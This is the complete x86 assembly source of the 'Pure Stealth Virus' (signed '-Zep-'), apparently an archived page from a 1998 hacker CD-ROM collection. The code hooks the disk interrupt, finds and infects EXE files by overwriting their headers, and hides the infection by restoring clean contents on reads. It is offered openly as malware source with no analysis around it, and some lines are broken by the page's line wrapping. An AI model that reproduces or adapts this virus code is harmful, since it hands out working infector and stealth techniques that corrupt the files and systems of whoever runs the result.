home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / stealth.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  8.5 KB  |  400 lines

  1. ;    This is the Pure Stealth Virus. It was released Feb of 1994
  2.     
  3. cseg            segment para    public  'code'
  4. pure            proc    near
  5. assume          cs:cseg
  6.  
  7.  
  8. 186
  9.  
  10. ALLOCATE_HMA    equ     04a02h
  11. CLOSE_HANDLE    equ     03e00h
  12. COMMAND_LINE    equ     080h
  13. COM_OFFSET      equ     00100h
  14. CRITICAL_INT    equ     024h
  15. DENY_NONE       equ     040h
  16. DONT_SET_OFFSET equ     006h
  17. DONT_SET_TIME   equ     040h
  18. DOS_INT         equ     021h
  19. DOS_SET_INT     equ     02500h
  20. EIGHTEEN_BYTES  equ     012h
  21. ENVIRONMENT     equ     02ch
  22. EXEC_PROGRAM    equ     04b00h
  23. EXE_SECTOR_SIZE equ     004h
  24. EXE_SIGNATURE   equ     'ZM'
  25. FAIL            equ     003h
  26. FAR_INDEX_CALL  equ     01effh
  27. FILENAME_OFFSET equ     0001eh
  28. FILE_OPEN_MODE  equ     002h
  29. FIND_FIRST      equ     04e00h
  30. FIND_NEXT       equ     04f00h
  31. FIRST_FCB       equ     05ch
  32. FLUSH_BUFFERS   equ     00d00h
  33. FOUR_BYTES      equ     004h
  34. GET_DTA         equ     02f00h
  35. GET_ERROR_LEVEL equ     04d00h
  36. HARD_DISK_ONE   equ     081h
  37. HIDDEN          equ     002h
  38. HIGH_BYTE       equ     00100h
  39. HMA_SEGMENT     equ     0ffffh
  40. INT_13_VECTOR   equ     0004ch
  41. JOB_FILE_TABLE  equ     01220h
  42. KEEP_CF_INTACT  equ     002h
  43. MAX_SECTORS     equ     078h
  44. MULTIPLEX_INT   equ     02fh
  45. NEW_EXE_HEADER  equ     00040h
  46. NEW_EXE_OFFSET  equ     018h
  47. NULL            equ     00000h
  48. ONLY_READ       equ     000h
  49. ONLY_WRITE      equ     001h
  50. ONE_BYTE        equ     001h
  51. OPEN_W_HANDLE   equ     03d00h
  52. PARAMETER_TABLE equ     001f1h
  53. READ_A_SECTOR   equ     00201h
  54. READ_ONLY       equ     001h
  55. READ_W_HANDLE   equ     03f00h
  56. REMOVE_NOP      equ     001h
  57. RESET_CACHE     equ     00001h
  58. RESIZE_MEMORY   equ     04a00h
  59. SECOND_FCB      equ     06ch
  60. SECTOR_SIZE     equ     00200h
  61. SETVER_SIZE     equ     018h
  62. SHORT_JUMP      equ     0ebh
  63. SIX_BYTES       equ     006h
  64. SMARTDRV        equ     04a10h
  65. SYSTEM          equ     004h
  66. SYS_FILE_TABLE  equ     01216h
  67. TERMINATE_W_ERR equ     04c00h
  68. THREE_BYTES     equ     003h
  69. TWENTY_HEX      equ     020h
  70. TWENTY_THREE    equ     017h
  71. TWO_BYTES       equ     002h
  72. UN_SINGLE_STEP  equ     not(00100h)
  73. VERIFY_3SECTORS equ     00403h
  74. VOLUME_LABEL    equ     008h
  75. WRITE_A_SECTOR  equ     00301h
  76. WRITE_W_HANDLE  equ     04000h
  77. XOR_CODE        equ     (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE
  78. PURE_CODE_IS_AT equ     00147h
  79.  
  80.  
  81. bios_seg        segment at 0f000h
  82.         org     00000h
  83. old_int_13_addr label   word
  84. bios_seg        ends
  85.  
  86.  
  87.         org     COM_OFFSET
  88. com_code:
  89.  
  90.  
  91.         jmp     short alloc_memory
  92. DISPLACEMENT    equ     $
  93.  
  94.  
  95. dummy_exe_head  dw      
  96. SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT,NULL,NULL,NULL,
  97. NULL,NULL,TWENTY_HEX
  98.  
  99.  
  100.         org     PURE_CODE_IS_AT
  101.  
  102.  
  103. ax_cx_di_si_cld proc    near
  104.         mov     di,bx
  105.         add     di,PURE_CODE_IS_AT-COM_OFFSET
  106. ax_cx_si_cld:   call    set_si
  107. set_si:         pop     si
  108.         sub     si,word ptr (offset set_si)-word ptr (offset 
  109. ax_cx_di_si_cld)
  110.         mov     cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT
  111.         mov     ax,XOR_CODE
  112.         das
  113.         cld
  114.         ret
  115. ax_cx_di_si_cld endp
  116.  
  117.  
  118.         org     high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
  119.  
  120. ALLOC_STARTS    equ     $
  121.  
  122.  
  123. alloc_memory    proc    near
  124.         mov     ah,high(FLUSH_BUFFERS)
  125.         int     DOS_INT
  126.         xor     di,di
  127.         mov     ds,di
  128.         mov     bh,high(SECTOR_SIZE)
  129.         dec     di
  130.         mov     ax,ALLOCATE_HMA
  131.         int     MULTIPLEX_INT
  132.         mov     ax,SMARTDRV
  133.         mov     bx,RESET_CACHE
  134.         int     MULTIPLEX_INT
  135.         mov     bl,SIX_BYTES
  136.         inc     di
  137.         jz      find_name
  138.         call    ax_cx_si_cld
  139.         rep     movs byte ptr es:[di],cs:[si]
  140. alloc_memory    endp
  141.  
  142.  
  143. set_int_13      proc    near
  144.         mov     ax,offset interrupt_one
  145.         xchg    word ptr ds:[bx-TWO_BYTES],ax
  146.         push    ax
  147.         push    word ptr ds:[bx]
  148.         mov     word ptr ds:[bx],cs
  149.         xchg    cx,di
  150.         mov     dl,HARD_DISK_ONE
  151.         pushf
  152.         pushf
  153.         pushf
  154.         mov     bp,sp
  155.         mov     ax,VERIFY_3SECTORS
  156.         or      byte ptr ss:[bp+ONE_BYTE],al
  157.         popf
  158.         dw      FAR_INDEX_CALL,INT_13_VECTOR
  159.         popf
  160.         pop     word ptr ds:[bx]
  161.         pop     word ptr ds:[bx-TWO_BYTES]
  162. set_int_13      endp
  163.  
  164.  
  165. find_name       proc    near
  166.         mov     ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
  167. look_for_nulls: inc     bx
  168.         cmp     word ptr ds:[bx-FOUR_BYTES],di
  169.         jne     look_for_nulls
  170. find_name       endp
  171.  
  172.  
  173. open_file       proc    near
  174.         push    ds
  175.         push    bx
  176.         mov     ch,THREE_BYTES
  177.         call    open_n_read_exe
  178.         push    cs
  179.         pop     es
  180.         mov     bx,dx
  181.         call    convert_back
  182.         pop     dx
  183.         pop     ds
  184.         jne     now_run_it
  185.         push    ds
  186.         push    dx
  187.         mov     ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
  188.         call    call_dos
  189.         push    bx
  190.         int     MULTIPLEX_INT
  191.         mov     dx,SYS_FILE_TABLE
  192.         xchg    ax,dx
  193.         mov     bl,byte ptr es:[di]
  194.         int     MULTIPLEX_INT
  195.         pop     bx
  196.         mov     ch,high(SECTOR_SIZE)
  197.         mov     ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE
  198.         cmpsw
  199.         stosb
  200.         mov     dx,offset critical_error+COM_OFFSET
  201.         int     DOS_INT
  202.         or      byte ptr 
  203. es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME
  204.         call    reclose_it
  205.         pop     dx
  206.         pop     ds
  207. open_file       endp
  208.  
  209.  
  210. now_run_it      proc    near
  211.         push    cs
  212.         pop     es
  213.         mov     bx,offset exec_table
  214.         mov     ah,high(RESIZE_MEMORY)
  215.         int     DOS_INT
  216.         mov     si,offset 
  217. critical_error+COM_OFFSET+PARAMETER_TABLE
  218.         xchg    bx,si
  219.         mov     di,bx
  220.         mov     ax,EXEC_PROGRAM
  221. set_table:      scasw
  222.         movs    byte ptr es:[di],cs:[si]
  223.         scasb
  224.         mov     word ptr cs:[di],cs
  225.         je      set_table
  226.         call    call_dos
  227.         mov     ax,FIND_FIRST
  228.         mov     dx,offset exe_file_mask
  229.         mov     cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
  230. find_next_file: call    call_dos
  231.         mov     ah,high(GET_DTA)
  232.         int     DOS_INT
  233.         add     bx,FILENAME_OFFSET
  234.         push    es
  235.         pop     ds
  236.         call    open_n_read_exe
  237.         mov     ah,high(FIND_NEXT)
  238.         loop    find_next_file
  239. done:           mov     ah,high(GET_ERROR_LEVEL)
  240.         int     DOS_INT
  241.         mov     ah,high(TERMINATE_W_ERR)
  242. now_run_it      endp
  243.  
  244.  
  245. call_dos        proc    near
  246.         int     DOS_INT
  247.         jc      done
  248.         xchg    ax,bx
  249.         push    cs
  250.         pop     ds
  251.         mov     ax,JOB_FILE_TABLE
  252.         ret
  253. call_dos        endp
  254.  
  255.  
  256. exec_table      db      COMMAND_LINE,FIRST_FCB,SECOND_FCB
  257.  
  258.  
  259. open_n_read_exe proc    near
  260.         mov     dx,bx
  261.         mov     ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
  262.         call    call_dos
  263.         mov     dx,offset critical_error
  264.         mov     ax,DOS_SET_INT+CRITICAL_INT
  265.         int     DOS_INT
  266.         inc     dh
  267.         mov     ah,high(READ_W_HANDLE)
  268.         int     DOS_INT
  269. reclose_it:     mov     ah,high(CLOSE_HANDLE)
  270.         jmp     short call_dos
  271. open_n_read_exe endp
  272.  
  273.  
  274. interrupt_one   proc    far
  275.         cmp     ax,VERIFY_3SECTORS
  276.         jne     interrupt_ret
  277.         push    ds
  278.         pusha
  279.         mov     bp,sp
  280.         lds     si,dword ptr ss:[bp+EIGHTEEN_BYTES]
  281.         cmp     word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
  282.         jne     go_back
  283.         mov     si,word ptr ds:[si+THREE_BYTES]
  284.         cmp     word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
  285.         jne     go_back
  286.         cld
  287.         mov     di,cx
  288.         movsw
  289.         movsw
  290.         sub     di,word ptr (offset far_ptr_addr)-word ptr 
  291. (offset int_13_entry)
  292.         org     $-REMOVE_NOP
  293.         mov     word ptr ds:[si-FOUR_BYTES],di
  294.         and     byte ptr 
  295. ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
  296. go_back:        popa
  297.         pop     ds
  298. critical_error: mov     al,FAIL
  299. interrupt_ret:  iret
  300. interrupt_one   endp
  301.  
  302.  
  303. exe_file_mask   db      '*.E*',NULL
  304.  
  305.  
  306. convert_back    proc    near
  307.         call    ax_cx_di_si_cld
  308.         repe    cmps byte ptr cs:[si],es:[di]
  309.         jne     not_pure
  310.         xor     byte ptr ds:[bx],ah
  311.         call    ax_cx_di_si_cld
  312.         rep     stosb
  313. not_pure:       ret
  314. convert_back    endp
  315.  
  316.  
  317. convert_to      proc    near
  318.         pusha
  319.         stc
  320.         pushf
  321.         cmp     word ptr ds:[bx],EXE_SIGNATURE
  322.         jne     not_exe_header
  323.         mov     ax,word ptr ds:[bx+EXE_SECTOR_SIZE]
  324.         cmp     ax,MAX_SECTORS
  325.         ja      not_exe_header
  326.         cmp     al,SETVER_SIZE
  327.         je      not_exe_header
  328.         cmp     word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
  329.         jae     not_exe_header
  330.         call    ax_cx_di_si_cld
  331.         pusha
  332.         repe    scasb
  333.         popa
  334.         jne     not_exe_header
  335.         xor     byte ptr ds:[bx],ah
  336.         rep     movs byte ptr es:[di],cs:[si]
  337.         popf
  338.         clc
  339.         pushf
  340. not_exe_header: popf
  341.         popa
  342.         ret
  343. convert_to      endp
  344.  
  345.  
  346. interrupt_13    proc    far
  347. int_13_entry:   cmp     ah,high(READ_A_SECTOR)
  348.         jb      call_old_int_13
  349.         cmp     ah,high(VERIFY_3SECTORS)
  350.         ja      call_old_int_13
  351.         push    ds
  352.         push    es
  353.         pop     ds
  354.         call    convert_to
  355.         pushf
  356.         push    cs
  357.         call    call_old_int_13
  358.         pushf
  359.         call    convert_to
  360.         pusha
  361.         jc      do_convertback
  362.         mov     ax,WRITE_A_SECTOR
  363.         pushf
  364.         push    cs
  365.         call    call_old_int_13
  366. do_convertback: call    convert_back
  367.         popa
  368.         popf
  369.         pop     ds
  370.         retf    KEEP_CF_INTACT
  371. interrupt_13    endp
  372.  
  373.  
  374.         org     COM_OFFSET+SECTOR_SIZE-ONE_BYTE
  375.  
  376.  
  377. call_old_int_13 proc    near
  378.         jmp     far ptr old_int_13_addr
  379. call_old_int_13 endp
  380.  
  381.  
  382.         org     COM_OFFSET+SECTOR_SIZE
  383.  
  384.  
  385. goto_dos        proc    near
  386.         mov     ax,TERMINATE_W_ERR
  387.         nop
  388. far_ptr_addr:   int     DOS_INT
  389. goto_dos        endp
  390.  
  391.  
  392. pure            endp
  393. cseg            ends
  394. end             com_code
  395.  
  396.  
  397. ;                    -Zep-
  398.  
  399.  
  400.